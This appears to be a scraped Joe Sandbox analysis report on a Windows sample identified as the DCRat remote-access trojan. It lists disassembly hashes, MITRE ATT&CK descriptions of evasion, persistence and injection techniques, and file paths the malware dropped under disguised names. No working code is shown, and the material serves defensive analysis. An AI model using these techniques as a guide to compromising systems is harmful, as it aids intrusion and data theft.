API String ID:
Opcode ID: 9a365c3a03766d0c1d00e8ae620361b45a70c0b62f683043b35deb4bc1364f7f
Instruction ID: 348a6ae8948b91108d95fe29761274dd7f4ce78e3e83161bbbcc17c118acbfe5
Opcode Fuzzy Hash: 9a365c3a03766d0c1d00e8ae620361b45a70c0b62f683043b35deb4bc1364f7f
Instruction Fuzzy Hash: 9A01863094E64F4FDB55DFA88C282BD3BA0FF19701F01057AD819C21A1DB349654CB41

Function 00007FFD9B8AB6D1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6f501d117214d6ce87409c07a75509fd8a30dbd65a94538e83b009f23de0b3
Instruction ID: 4b6c3e8f02011d84488b066db23bffa1a62a641fb6aaadedfb7a311864825b59
Opcode Fuzzy Hash: 4e6f501d117214d6ce87409c07a75509fd8a30dbd65a94538e83b009f23de0b3
Instruction Fuzzy Hash: 70F08130A0A68E8FEB55DFA888686BD7BA0FF18300F0105BAD418C61A2EB74A6508741

Function 00007FFD9B882F29 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b880000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9494879182b5163705c222a72c20ee4f0ecda48858ee80a6d62616063f49735
Instruction ID: 5374bfa9d87817e3214d03346c70adc5d24740a4f52c5fb3ad2cdc06331b23b8
Opcode Fuzzy Hash: a9494879182b5163705c222a72c20ee4f0ecda48858ee80a6d62616063f49735
Instruction Fuzzy Hash: 1E018470A1EA8E4FE762EBB488695A97FE0EF0A300F4604F7D418C70B6DA38E554C701

Function 00007FFD9B881C5D Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b880000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc1b48c09c3597c6d2bea639b15d381765e83b715830e8627cc3465b2f7b663b
Instruction ID: e31fa6a89484c89d7e23c66ffb91079a54546d1ed308c9f4a314196de8d1fc79
Opcode Fuzzy Hash: bc1b48c09c3597c6d2bea639b15d381765e83b715830e8627cc3465b2f7b663b
Instruction Fuzzy Hash: 4001D170A0AA4E8FEBA9EF2488656B93BA1FF5D300F41017ED818C21A1CF35AA51C740

Function 00007FFD9B89D0BD Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc982600c7cd56550831f60f5c6701853e6932976ecabf3f1bca72b6c469b72d
Instruction ID: 86209c9462c10ebb5258edeac8831ec97af03eb28cbaa8ea200628c4eb45c922
Opcode Fuzzy Hash: bc982600c7cd56550831f60f5c6701853e6932976ecabf3f1bca72b6c469b72d
Instruction Fuzzy Hash: 4D013571E0961D8FEB64DFA8D854AECB7F1FB58300F20426AD409E3291DB7969018F44

Function 00007FFD9B8AEE20 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67c6c2a467952edc4c344b1697d882513942170d31bdd45fe3e2c7e4852e8031
Instruction ID: 48adcf46167b0dab360d4b4eb741d25049002f1a790e375c3304bbcd8b0173e1
Opcode Fuzzy Hash: 67c6c2a467952edc4c344b1697d882513942170d31bdd45fe3e2c7e4852e8031
Instruction Fuzzy Hash: FE01B730A0951DCFDB64DFC4C964BFC73B1EB58301F654569D00AE6AA1DB782A88DB10

Function 00007FFD9B880610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b880000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1df9cfc8d12537b6bd4eb9b575f0238bb3cbe12d3c64325aedbf8ce63b51a8ca
Instruction ID: 30a37605bf8adea6a79de6240c12f33dad3797a9b96dd780c9c2b81cff71d174
Opcode Fuzzy Hash: 1df9cfc8d12537b6bd4eb9b575f0238bb3cbe12d3c64325aedbf8ce63b51a8ca
Instruction Fuzzy Hash: 3F016D30A1990E8BEF58EFA4D4686B973E0FF1C305F51047ED42EC21E5DE35A650C600

Function 00007FFD9B880608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b880000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88a758c2aa4de6c97b0f5b8f8470713a38fa954ab8815c247fa9581ababab6a3
Instruction ID: 74468d2ea066e95257dbafb329ed44049ecd5931c9f10d0c26ca0a488e62e528
Opcode Fuzzy Hash: 88a758c2aa4de6c97b0f5b8f8470713a38fa954ab8815c247fa9581ababab6a3
Instruction Fuzzy Hash: DB014B30A1690E8BEB68EFA584686B973A0FF18305F11087EE42EC21E5DE35A650CA40

Function 00007FFD9B8B1365 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78eb051fb6e4b64fb7d3595cb933d6da930039cc7816b5e0c62897c9f7332654
Instruction ID: 5ea56ccdade0ab4566176430365c7ade6304b7f304e5e60702cc6a5b3256c4de
Opcode Fuzzy Hash: 78eb051fb6e4b64fb7d3595cb933d6da930039cc7816b5e0c62897c9f7332654
Instruction Fuzzy Hash: 74F0C831A1F69E4FDB65EF6488655FD3BA0FF5D310F0111BAE408C64A1EA3996508BC1

Function 00007FFD9B89F341 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 972d9847ba991d68f162130be13b60315abc08ef1e83fa999f31580da93a6fbf
Instruction ID: 66bcf046c7e338164a790c41e5f8fd52563d22a0578ca4fae68916cddf215c4f
Opcode Fuzzy Hash: 972d9847ba991d68f162130be13b60315abc08ef1e83fa999f31580da93a6fbf
Instruction Fuzzy Hash: 90F0493091AA4E8FDF55DF6488692FD7FE0FF59300F45057AD418C21A1DB38A654D741

Function 00007FFD9B881140 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b880000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1c3f3a90f9eb94b7ef8dc0a0aedb5836f2e7542d40f2f655d0b84dd2c41d313
Instruction ID: 5e7c7f2c0cb906a12b2892e38ffb49e9bc982daf01992eb9ca27edf708c90e31
Opcode Fuzzy Hash: c1c3f3a90f9eb94b7ef8dc0a0aedb5836f2e7542d40f2f655d0b84dd2c41d313
Instruction Fuzzy Hash: 3FF0F974E1AA0E4AFBA6AB9888643FA77E0FF5D210F00153AD42DC10E0DF3422148640

Function 00007FFD9B8A3D61 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4df57345e03f9510fadfcec5df93bb55e6075d366021c775c07a659b69981c2f
Instruction ID: 21b900f0f23ae9721ed1d27140ec0560f5529b8b441e9a6655d876c5630b329b
Opcode Fuzzy Hash: 4df57345e03f9510fadfcec5df93bb55e6075d366021c775c07a659b69981c2f
Instruction Fuzzy Hash: F2F06270D0E65E8FEBA1ABB488282B97FF0FF19300F050576D418C61A1EB34D240C741

Function 00007FFD9B882811 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b880000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af82f2bead4d67d244998577cd5b108853e094a9e7752c7f9e76a7ad4493eb0
Instruction ID: 8fe2759f3b00a0be62d4dd19973f52ba5aff08b761c73b7a8505bb1591a1ec73
Opcode Fuzzy Hash: 9af82f2bead4d67d244998577cd5b108853e094a9e7752c7f9e76a7ad4493eb0
Instruction Fuzzy Hash: 8FF0F630A0AA4E8FEF699FA484241E937A0FF09300F4105BED428C51E5DB38D5418240

Function 00007FFD9B8A02AD Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e41106792f8d5505b3eb7325d27596e7b03e3e00f15c2b6be0a9d148003dab36
Instruction ID: 9f74f278e4484dbbf341e7e8c147df0ae167856ed5cd8b71077f5d06011a5270
Opcode Fuzzy Hash: e41106792f8d5505b3eb7325d27596e7b03e3e00f15c2b6be0a9d148003dab36
Instruction Fuzzy Hash: B9012C30A1A74E8FDBA6DFA488692BE7BE0FF69301F01057AD41CC21A1DB3896548781

Function 00007FFD9B8805D0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b880000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6b7f70b0a77d337d9269ffdb91f88a4eca636d9d1462fdb3eab82632b94c50
Instruction ID: 5df45a37d5014708671484cd3729ff803dcef44b76a3c10156fc324d1757f954
Opcode Fuzzy Hash: 5b6b7f70b0a77d337d9269ffdb91f88a4eca636d9d1462fdb3eab82632b94c50
Instruction Fuzzy Hash: F5F0A430A0A90ECBEB55EF6494256F93791EF0D304F51047AE41DC21A1CE35A650C740

Function 00007FFD9B89561B Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce9e1bd3563fb999ddae9764e9d2fcac2921626d324dc0c789b8635fbc16753c
Instruction ID: aeb903fcf0c46b6046177932b84e9744496ba3a3f1841bf402c282d6a84250d9
Opcode Fuzzy Hash: ce9e1bd3563fb999ddae9764e9d2fcac2921626d324dc0c789b8635fbc16753c
Instruction Fuzzy Hash: 7CF0E275E1991D8FEFA4EB9898A57ECB7B1FB9C300F4041AAD00DE3261DF3869418B40

Function 00007FFD9B882739 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b880000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fab0a150e44d4b41b26d3db31899d087846fcb6d89c426ecaa4f1865708182e0
Instruction ID: b4b3c9a40c1a08d93916fda647cb51e5f75c47ca5086692e4c72209418451d75
Opcode Fuzzy Hash: fab0a150e44d4b41b26d3db31899d087846fcb6d89c426ecaa4f1865708182e0
Instruction Fuzzy Hash: F2F0623095E78D8FDB59AF6488682A93BA0FF06205F4505FAE419C50E2DB399554C741

Function 00007FFD9B8AEFBD Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2800b6fecc845d0770aa08ccbfc1845a3774bd27e1e3e63a95f3361d0191a35a
Instruction ID: b038f747787d992695950cdca9a953a1ecff9de86993541bd5438b53e3d31c49
Opcode Fuzzy Hash: 2800b6fecc845d0770aa08ccbfc1845a3774bd27e1e3e63a95f3361d0191a35a
Instruction Fuzzy Hash: C9F01770A0851ECBEFA4EF88C850BFDB7B0FF14304F1144A5D01AA79A5DA39AA45DF40

Function 00007FFD9B8ADC10 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0abc9d7345c7c9215d1806d92dfdde30eaddc45835fb04f6f517cb79de0f708f
Instruction ID: 63d3670ede5b64aef85bf05323a0f267ca4085de4d0bb73c48e88544e821df2e
Opcode Fuzzy Hash: 0abc9d7345c7c9215d1806d92dfdde30eaddc45835fb04f6f517cb79de0f708f
Instruction Fuzzy Hash: 35E0D831A6A54E8AEF58AF6488292FEB3E4FF08308F40143AE82DC11E4DF746254C701

Function 00007FFD9B89BF2D Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84c91c49bd7738a7ca7b2164a392ddc23897b6f03c92f7fd4db407c227fc504f
Instruction ID: b8fa6630cc4b28865c4a111eabdc67c314bd6c5b169edc51bbe49c742d39973d
Opcode Fuzzy Hash: 84c91c49bd7738a7ca7b2164a392ddc23897b6f03c92f7fd4db407c227fc504f
Instruction Fuzzy Hash: E1E04F76A1462ACB9705AFACF54A0C873E0EF40324B804777C014C5186F95554838794

Function 00007FFD9B8A30C4 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b890000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30a3a713292f867382a8493634d3053a958ea89a93f1fc221a7e3954a29ae2f9
Instruction ID: 4be764d883ffa1c9a2535edd4ea4a20de05096c1a903e8230b0004a86772b5c6
Opcode Fuzzy Hash: 30a3a713292f867382a8493634d3053a958ea89a93f1fc221a7e3954a29ae2f9
Instruction Fuzzy Hash: A7E0EC21F4E80E8AD764DBD8A0621FCBE69AF4E300F912171E00DE359ADD2C66054651

Function 00007FFD9B880FA9 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.4208450227.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b880000_VrOvfXIxMKIwGaWOj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd71b448dcaf8f4348ed83b1fa5f394b52882cbbdace1ef80261fe9d16fa329d
Instruction ID: 7a047deb071fd00179d6626a22a19146ca37f8ca49629f73defa01bb9d209ab1
Opcode Fuzzy Hash: bd71b448dcaf8f4348ed83b1fa5f394b52882cbbdace1ef80261fe9d16fa329d
Instruction Fuzzy Hash: F9E01230E1980E8BF768EB54DC61BAEBA71FF44304F5001B5D01DA3696DE386A818F80

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AYUGPPBj0x.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe

C:\Program Files (x86)\Common Files\dedb3a653dedd1

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\dedb3a653dedd1

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Bootstrapper.exe_f8ecbb689c8f1a18ba1322c93213c0dd24b0ed4d_47e6ae6e_b69d6691-43f3-470f-b429-88809312ec68\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER77DE.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER79A4.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER79D4.tmp.xml

C:\Users\Public\AccountPictures\9e8d7a4ca61bd9

C:\Users\Public\AccountPictures\RuntimeBroker.exe

Windows Analysis Report
AYUGPPBj0x.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
